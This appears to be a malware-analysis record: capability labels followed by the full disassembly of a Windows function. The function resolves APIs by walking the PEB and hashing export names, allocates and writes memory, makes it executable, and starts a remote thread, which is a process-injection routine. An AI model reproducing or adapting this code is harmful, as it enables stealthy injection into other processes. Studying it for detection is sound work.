Function at 0x1800011fc
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rdi
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
and dword [rbp - 0x20], 0
and qword [rbp - 0x18], 0
mov rax, qword gs:[0x60]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rdx
mov dword [rbp - 0x28], r8d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r10d, dword [rcx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x1800012a5
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1800012a5
mov ebx, dword [r10 + 0x20]
dec r11d
mov ecx, r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0xcf94612a
add r8, r9
mov cl, byte [r8]
inc r8
test cl, cl
je 0x1800012a0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x180001283
cmp edx, 0xb409e737
je 0x1800012aa
test r11d, r11d
jne 0x180001263
mov rax, qword [rax]
jmp 0x18000123e
mov ecx, dword [r10 + 0x24]
xor edx, edx
mov edi, dword [rbp - 0x28]
add rcx, r9
mov dword [rsp + 0x20], 4
movzx r8d, word [rcx + r11*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [rcx + r8*4]
mov r8d, edi
mov rcx, qword [rbp - 0x38]
add rax, r9
mov r9d, 0x3000
call rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18000135c
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x18000135c
mov ebx, dword [r10 + 0x20]
dec r11d
mov ecx, r11d
lea rdx, [rbx + r11*4]
mov r9d, dword [rdx + r8]
mov edx, 0x409bced2
add r9, r8
mov cl, byte [r9]
inc r9
test cl, cl
je 0x180001357
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
inc r9
test cl, cl
jne 0x18000133a
cmp edx, 0x880f4c3d
je 0x180001361
test r11d, r11d
jne 0x18000131a
mov rax, qword [rax]
jmp 0x1800012f5
mov eax, dword [r10 + 0x24]
mov r9, rdi
mov ecx, dword [r10 + 0x1c]
add rax, r8
add rcx, r8
movzx edx, word [rax + r11*2]
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x18]
mov rdx, qword [rbp - 0x40]
add rax, r8
mov r8, qword [rbp - 0x30]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp - 0x38]
call rax
mov rcx, qword [rbp - 0x30]
mov r8, rdi
xor edx, edx
call fcn.180002a90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18000141a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x18000141a
mov ebx, dword [r10 + 0x20]
dec r11d
mov ecx, r11d
lea rdx, [rbx + r11*4]
mov r9d, dword [rdx + r8]
mov edx, 0x4fa0639d
add r9, r8
mov cl, byte [r9]
inc r9
test cl, cl
je 0x180001415
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
inc r9
test cl, cl
jne 0x1800013f8
cmp edx, 0xb38e9086
je 0x18000141f
test r11d, r11d
jne 0x1800013d8
mov rax, qword [rax]
jmp 0x1800013b3
mov eax, dword [r10 + 0x24]
mov r9d, 0x40
mov ecx, dword [r10 + 0x1c]
add rax, r8
add rcx, r8
movzx edx, word [rax + r11*2]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r10d, dword [rcx + rdx*4]
mov rdx, qword [rbp - 0x40]
add r10, r8
mov rcx, qword [rbp - 0x38]
mov r8, rdi
call r10
and qword [rsp + 0x30], 0
xor r8d, r8d
and dword [rsp + 0x28], 0
xor edx, edx
and qword [rsp + 0x20], 0
mov r9, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov eax, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180001710
add rsp, 0x80
pop rdi
pop rbx
pop rbp
ret